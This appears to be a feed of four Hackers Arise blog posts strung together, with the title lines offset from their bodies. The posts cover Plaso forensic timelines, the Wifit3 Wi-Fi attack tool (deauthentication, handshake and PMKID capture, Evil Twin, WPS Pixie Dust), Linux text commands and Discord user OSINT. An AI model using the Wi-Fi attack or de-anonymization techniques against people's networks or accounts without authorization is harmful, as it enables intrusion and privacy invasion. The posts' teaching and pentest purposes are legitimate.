The post OSINT: Monitoring World Events with God’s Eye first appeared on Hackers Arise.

Welcome back, aspiring investigators!

When you do forensic investigations, you often find that systems are not really monitored. The great problem here is that it’s beyond the scope of a sysadmin. They already have a lot of work to do, so it’s hard to blame them. Companies don’t spend much money on cybersecurity despite the rise of ransomware campaigns in recent years. AI is going to make these attacks a lot more feasible, and we are already seeing it. They simply don’t realize the threat exists out there, until they have to face it.

Here is one of the posts that I came across recently that proves the point. These cheap Chinese models cost literally cents per 1 million tokens. So it’s fairly possible that someone can hack a company for $20 and for another $10 do internal recon, thoroughly analyze all file shares, infect hosts with malware, and you can guess what comes next. The demands for a decryption key vary, of course. They usually range somewhere between $20,000 and $100,000. The bigger the company is, the bigger the demand will be. The bigger the company is, the more infrastructure it has sticking out to the internet that hackers can work with. The size of the company doesn’t necessarily mean it’s secure. Their security can also be trivial.

But we do have to work with such companies, and I’m sure some of you have come across this issue. In such a case, we have to work with whatever the system has left behind. To make things easier, we want to cover Plaso.

Plaso

Plaso is a Python-based engine used by several tools for automatic creation of timelines. Plaso’s default behavior is to create super timelines, but it also supports creating more targeted timelines if you are focused on a certain time frame.

These timelines help investigators correlate the large amount of information found in logs and other files on an average computer.

The whole point of this tool is that you can get a report on everything that happened on your system from different kinds of files. It allows you to do a very thorough analysis and gives you a better view of every event that took place. That’s super helpful if your client doesn’t have SIEM systems or at least some advanced logging like Sysmon, for example.

It does support different systems as well, so it’s pretty universal, from phones to computers. The example data that ships with it can help you get used to the tool.

Setting Up

As always, let’s follow the easiest way to install it on your system.

kali > python3 -m venv plaso
kali > source plaso/bin/activate
kali > pip install --upgrade pip
kali > pip install plaso

That will be it. In case you are wondering if it fits your purpose, you can list all the parsers available.

kali > plaso-log2timeline --parsers list

Besides, we have a huge library of logs to test the tool with.

kali > git clone https://github.com/log2timeline/plaso.git
kali > cd plaso/test_data/
kali > ls

So let’s not waste more time and get into it.

Working with Plaso

We are going to look at a couple of examples analyzing different log files, and at the end we are going to create the full timeline of our system. We used the EnCase E01 file format to make it more compact.

NTUSER.DAT

The first example covers one of the most meaningful files in both offensive and defensive cybersecurity. The NTUSER.DAT file is useful for both of us simply because it stores all user actions, from USBs to opened folders and much more. Earlier, we covered the use of it for investigations, but that was more about cherry picking. We pointed at the exact locations to look at to find insider threats or to analyze other users’ actions during the pentest. That’s super helpful if you are dealing with a sysadmin’s computer and only have terminal access.

Let’s build a complete timeline of it.

kali > plaso-log2timeline --storage-file ntuser_timeline.plaso ~/plaso/test_data/NTUSER.DAT

This command points log2timeline straight at the NTUSER.DAT hive and tells it to write everything it finds into ntuser_timeline.plaso. That storage file is not something you can just open and read, it’s the raw extracted events that you will need to sort and export into something readable in the next step.

After that, we can view the number of events in this hive.

kali > plaso-pinfo ntuser_timeline.plaso

Finally, let’s take a look at them all.

kali > plaso-psort -o dynamic -w ntuser_timeline.csv ntuser_timeline.plaso

kali > open ntuser_timeline.csv

You’ll get a taste of it once we analyze the entire system like that. That way, nothing can escape your view.

Windows Event Log

Another good example is the Event Log. Let’s analyze the System.evtx file and see what’s inside.

kali > plaso-log2timeline --storage-file evtx_timeline.plaso test_data/System.evtx

kali > plaso-psort -o dynamic -w evtx_timeline.csv evtx_timeline.plaso

kali > open evtx_timeline.csv

When you are dealing with a large number of logs, it’s better to slice them.

kali > plaso-psort -o dynamic -w evtx_narrow.csv evtx_timeline.plaso "date > '2026-02-01 00:00:00' AND date < '2026-03-01 00:00:00'"

Syslog

Linux log files are also supported and present in the test data for you to work with.

kali > plaso-log2timeline --storage-file syslog_timeline.plaso test_data/syslog

kali > plaso-psort -o dynamic -w syslog_timeline.csv syslog_timeline.plaso

kali > open syslog_timeline.csv

Here is what the syslog file looks like after being parsed. As you can see, all the login attempts and cron job entries are there.

Full System

Finally, after pointing the tool to the EnCase files, it will produce a thorough analysis of all the log files available on your system. Below is a complete timeline of the webserver.

kali > plaso-log2timeline --storage-file super_timeline.plaso /mnt/Images/Webserver.E01

kali > plaso-psort -o dynamic -w super_timeline.csv super_timeline.plaso

kali > open super_timeline.csv

Summary

The more tools you are familiar with, the easier the investigation will be. At work, we tend to automate things to save time, but it can also create more confusion when we don’t see the full picture and end up wasting more time puzzling over things that don’t fit together. The tool is worth giving a try, and it does support all kinds of file formats as input, so you can use Plaso yourself or with your AI model.

If you like what we’re doing here and want to get started in forensics or advance your skills, we recommend our training for both beginners and more experienced students.

The post Digital Forensics: Deep Analysis with Plaso first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors! 

Many beginners want to know how they can hack their Wi-Fi. It’s fun, it’s easy to get started with and those small wins make the early part of your cybersecurity journey exciting. Testing Wi-Fi security is also an important part of a pentest, since many organizations keep old routers in place with weak security settings. As years go by, those settings get more and more obsolete, like WEP. Some features routers have enabled by default might be convenient, but are often unnecessary. That’s WPS, as you might know. It gets abused regularly to recover a plaintext password and sometimes you can get it in under a minute just because WPS was left on.

If hackers get onto the network, they can start exploring everything on it or just use your Wi-Fi for their own purposes. You don’t want that. That’s why you need to make sure it’s secure.

Today we’ll cover Wifit3, which can help you with this.

What is Wifit3

The tool was developed by the same author who created Wifite2.

Unlike its predecessor, it doesn’t need aircrack-ng, reaver or bully installed. Instead, it uses pure Python with the PyUSB and Textual libraries. Wifit3 works just as well on Linux, macOS and Windows. You’ll only need a USB dongle to work with it. The repository mentions all the supported devices. 

It scans both 2.4 GHz and 5 GHz, can tell when a network is WPA3 or in mixed WPA2/WPA3 mode and keeps track of signal and encryption. It also tries to identify the router and pull extra details about it. Hidden network names sometimes get revealed by matching them to a known router address. If you plug in more than one supported Wi‑Fi adapter, you can listen on several at once and leave one free to send packets.

It shows beacons, data, injection and disconnect traffic so you can see what’s in the air while you work.

The tool can listen to Wi‑Fi traffic and send disconnect messages. Those messages kick phones off the network. When a phone joins again, it talks to the router to prove it knows the password. The tool records that conversation. The password is in there, but scrambled, so you can crack it later with hashcat.

Here’s how it looks. Above you can see it capturing handshakes with passwords after disconnecting a client. The tool also managed to capture a PMKID. PMKID is a short hash the router can send that’s tied to the Wi-Fi password. If you capture that hash, you can try passwords against it later on your own machine. You don’t need to kick anyone off the network or capture a full login handshake.

There’s also an Evil Twin mode for WPA3. It tricks phones into leaving the real Wi‑Fi and joining a fake one so the tool can steal a handshake. For WPS it can try the fast Pixie Dust attack, grab the password when someone presses the router’s WPS button and keep guessing the WPS PIN while pausing if the router starts locking out attempts.

That’s how the WPS attack looks. The tool sends an enrollee identity with a public key and gets the router credentials decrypted. The password is then saved to a text file.

WEP is attacked in Python with the usual replay tricks to recover the key.

Setting Up

Now let’s set it up on our machine. As always, we’re going to use Kali, but you can use anything you want.

kali > wget https://github.com/derv82/wifit3/releases/download/v0.3.2/wifit3-linux-x64 -q 

kali > chmod 777 wifit3-linux-x64
kali > mv wifit3-linux-x64 wifit3
kali > sudo cp wifit3 /usr/local/bin

We’re all set. Plug in your USB dongle and start the tool.

kali > wifit3

After choosing the right, you can start testing your Wi-Fi. Use it only on your own Wi-Fi or the one you’re authorized to test. 

Summary

There are so many vulnerable Wi-Fi networks you’ll come across during pentests. They’re often the quickest way into a network, which is why their security shouldn’t be overlooked. Wifit3 is a new tool that came out relatively recently. It’s easy to work with and can help you cover all the common wireless attacks.

If you’re interested in Wi-Fi security, our Wi-Fi Hacking training can help you gain the necessary experience.

The post Wi-Fi Hacking: Testing Routers with Wifit3 first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

One of the fundamental principles that separates Linux from other operating systems is its philosophy that nearly everything is a file, and more often than not, these files contain plain text. Configuration files that control how services behave, log files that record system activity, and network captures that reveal traffic patterns. Countless other critical components of the system exist as text files that you can read, modify, and manipulate using simple command-line tools.

In this article, we will explore the essential commands and techniques for manipulating text in Linux. Let’s get rolling!

Step 1: Cat That File

For demonstration purposes, we will use files from the world’s best Network Intrusion Detection System (NIDS), Snort. If some of you have prior experience with Snort, you probably know that the configuration file was called snort.conf. However, in Snort 3, the traditional snort.conf file has been replaced by Lua-based configuration files in snort.lua serving as the primary configuration file.

Now, let’s move on to the cat command. As demonstrated in an earlier tutorial, cat is one of the most basic text display commands. Let’s use cat to view the Snort configuration file located in /etc/snort.

kali > cat /etc/snort/snort.lua

As you can see, snort.lua is displayed on our screen until it reaches the end of the file. Not the most convenient or practical way to work with this file.

Step 2: Take the Head

To view the beginning of a file, use the head command. This command displays the first 10 lines of a file, by default.

kali > head /etc/snort/snort.lua

If we want to see more or fewer than the default 10 lines, we can tell head how many lines to display by putting the number of lines we want (with the – n switch) between the command and the file name.

kali > head -20 /etc/snort/snort.lua

Here we can see that only the first 20 lines of snort.lua are displayed.

Step 3: Grab That Tail

Similar to the head command, we can view the last lines of a file with the tail command. Let’s use it on the snort.lua.

kali > tail /etc/snort/snort.lua

Note that it shows some logging configurations but not all. Let’s see if we can display all of them by retrieving the last 20 lines of the snort.lua file.

kali > tail -20 /etc/snort/snort.lua

Now we can view nearly all the logging rules on one screen.

Step 4: Numbering Those Lines

Sometimes—especially with very long files—we may want the file displayed with line numbers. This is probably the case with snort.lua, which has over 200 lines. This makes it easier to reference changes and come back to the same place within a file. To display a file with a line number, we simply type:

kali > nl /etc/snort/snort.lua

Note that each line now has a number, making referencing much easier.

Step 5: I Grep That

After cat, grep is the most widely used text manipulation command. It’s a filtering command; in other words, it enables us to filter the content of a file for display. If, for instance, we wanted to see all the instances of where the word “log” occurs in our snort.lua file, we could ask cat only to display those lines where it occurs by typing:

kali > cat /etc/snort/snort.lua | grep log

This command will first grab the snort.lua and then “pipe” it (|) to grep, which will take it as input and then look for the occurrences of the word “log” and only display those lines. Grep is a powerful and essential command for working in Linux, as it can save us hours searching for every occurrence of a word or command.

Step 6: I Sed That Works

The sed command allows us to search for occurrences of a word or text pattern and then perform some work on them. The name comes from the concept of a stream editor and is a contraction of those two words. At its most basic, sed operates like the Find and Replace function in Windows. Let’s search for the word “modbus” in the snort.lua file using grep.

kali > cat /etc/snort/snort.lua | grep modbus

We can see that the grep command found four occurrences of the word modbus.

Let’s say we want sed to replace every occurrence of modbus with Modbus (remember, Linux is case-sensitive) and then save the new file as snort2.lua.

We could do this by typing:

kali > sed s/modbus/Modbus/g /etc/snort/snort.lua > snort2.lua

This command says, “search (s) for the word modbus and replace it with the word Modbus globally (i.e., wherever you find it in the file).”

kali > cat /etc/snort/snort2.lua | grep Modbus

Now, when we grep snort2.lua for Modbus, we see that none were found, and when we grep for Modbus, we find four occurrences of Modbus.

If we want to replace only the first occurrence of the word modbus, we could leave out the trailing ‘g’ (for global), and it would replace only the first occurrence.

kali > sed s/modbus/Modbus/ snort.lua > snort2.lua

Step 7: Less is More

Although cat is a good utility for creating and displaying small files, it certainly has its shortcomings when displaying large ones. When we catch the snort.lua, it scrolls through numerous pages until it comes to the end. Not very practical.

For working with larger files, we have two other utilities, more and less. More came first and is the utility that the man (manual) pages use. Let’s open snort.lua with more commands.

kali > more /etc/snort/snort.lua

Notice that more displays only the first page and displays for us in the lower left corner how much of the file is shown (13% in this case).

To see additional lines or pages, we can use the ENTER key, PAGE UP, or PAGE DOWN to move an entire page. To exit more, type “q” for quit.

Less is very similar to more, but with additional functionality; hence the common Linux aficionado quip: “Less is more.”

Let’s open snort.lua with less.

kali > less /etc/snort/snort.lua

Notice near the bottom-left of the screen that ‘less’ has highlighted the file path.

If we hit the / key, less will enable us to search for terms in the file. For instance, let’s search for filters:

/filter

This will immediately take us to the first occurrence of output and highlight it.

We can then look for the next occurrence of filter by typing “n” for next.

As you can see, less took us to the next occurrence of the word filter, highlighted all the search terms, and in this case, took us directly to the filter section of Snort. How convenient!

Summary

This article illustrates essential commands and techniques for manipulating text in Linux, emphasizing the importance of text files in system configuration and logging. We explored commands such as cat, head, tail, nl, grep, and sed, demonstrating how they can enhance your efficiency in handling configuration files like snort.lua.

For more information on using Linux for hacking, check out the book “Linux Basics for Hackers” on Amazon or visit our training center.

The post Linux Basics for Hackers, Part 09: Text Manipulation first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors and OSINT investigators!

During the OSINT investigation, we might find a situation where a target has a presence on the Discord platform. According to Demadsage, there are 259 million monthly active users on Discord. Therefore, leaving this source of intelligence would be unwise. But unlike regular social media, Discord’s data is kept in semi-private “servers,” so investigators have to engage actively and correlate the data rather than just observe through third-party tools. And this requires more investment in tools and awareness of visibility risks.

Therefore, in this article, we will explore the first steps to get started with OSINT on Discord users. Let’s get rolling!

Step #1: Search Architecture

Discord has powerful built-in search, which acts like a localized “Dorking” system. To get started using it, we just need to click on the top-right search form. As you can see below, it has 4 core operators for filtering.

Operator	Functional Logic	Investigative Application
from:	Filters messages by a specific user.	Isolate the entire chat history of a person of interest to map behavioral patterns and communication style.
has:	Filters for specific message contents (link, file, video, image).	Intercept high-value artifacts.
in:	Limits search to a specific channel.	Filter the investigation to high-signal channels like #introductions or #portfolio
mentions:	Filter messages by mentioned user	Check who communicated with a mentioned user

Besides that, Discord offers 3 more filters after clicking “More filters”.

This built-in search serves as a good start for investigation. Just by writing a good query, you can sort through tens of thousands of messages. And sometimes, even find leaked access credentials.

Another important thing here is the images. Sometimes folks shared photos from their college graduation years ago or a first-day-on-the-job photo. Or even some family photos. Therefore, even with simple search filters, a lot of interesting data can be found.

Step #2: Linked Accounts

One of the easiest ways to find the real name of a Discord user is to look into linked accounts. Originally, Discord was built for gamers, and these linked accounts were intended to share in-game status and activities. But eventually, the list of supported services grew very long, and now users can connect their Facebook, GitHub, and even PayPal accounts.

In the screen above, we can see a list of services and a YouTube channel, which appears to be a real name.

Step #3: Server Nicknames

In Discord, every user can create a different username for every server they join.

This is useful because users might set up their real names or provide additional information for the investigation on other servers. To check it, just click “View full profile” and then the three dots.

Step #4: Discord ID

A Discord ID is a unique 18-digit number, and everyone has one. Users, messages, servers, and even bots all have one. The advantage of this is that while a username can be changed, a user’s ID cannot. Discord, in turn, uses these IDs to store all user data, including the history of name changes.

To find a Discord ID, all we need to do is enable developer mode. To do this, click the gear icon next to your name (in the lower-right corner), and in the settings menu that opens, look for the “Developer” section. There, enable “Developer Mode.”

Now find the user you’re looking for and click on their name. An actions menu will open; you’ll see three dots. Click on them, and you’ll see the “Copy User ID” button.

Step #5: Cord.Cat Tool

After gathering the user’s ID, we can move into the usage of dedicated tools for Discord OSINT. One of them is the Cord.cat website. The core function of Cord.cat is resolving a Discord “snowflake” (the numeric user ID) into a complete, sourced picture of the account. But beyond basic profile data, the platform checks for breaches, FiveM records, and DSA sanctions. To get started, we just need to enter the user’s ID on the website. You will see output like below.

Here we can see that this account wasn’t found in breaches; there are no sanctions, etc. On the left, we can see the account creation date and links to download the avatar, decorations, and nameplate. By scrolling below, we can see more info.

We can see that the user has a low risk score according to the assessment. If we scroll down, we can see additional information like this.

We can see servers where this user is joined, and we can see whether this ID has an account on Discord-related websites.

Summary

Discord has huge potential for OSINT. Especially if we look into it not just as a communications channel for gamers, but as a tool for a wide range of people, where there are even cases when companies use this tool for employee communications. Although it has semi-private servers, with the correct approach, this social platform can provide good intelligence.

If you’re looking to enhance your OSINT skills, consider exploring OSINT training. If you need assistance in uncovering the truth, don’t hesitate to reach out to us at hackers-arise@protonmail.com, and we’ll conduct a comprehensive OSINT investigation for you.

The post Open Source Intelligence (OSINT): Gathering Information on Discord Users first appeared on Hackers Arise.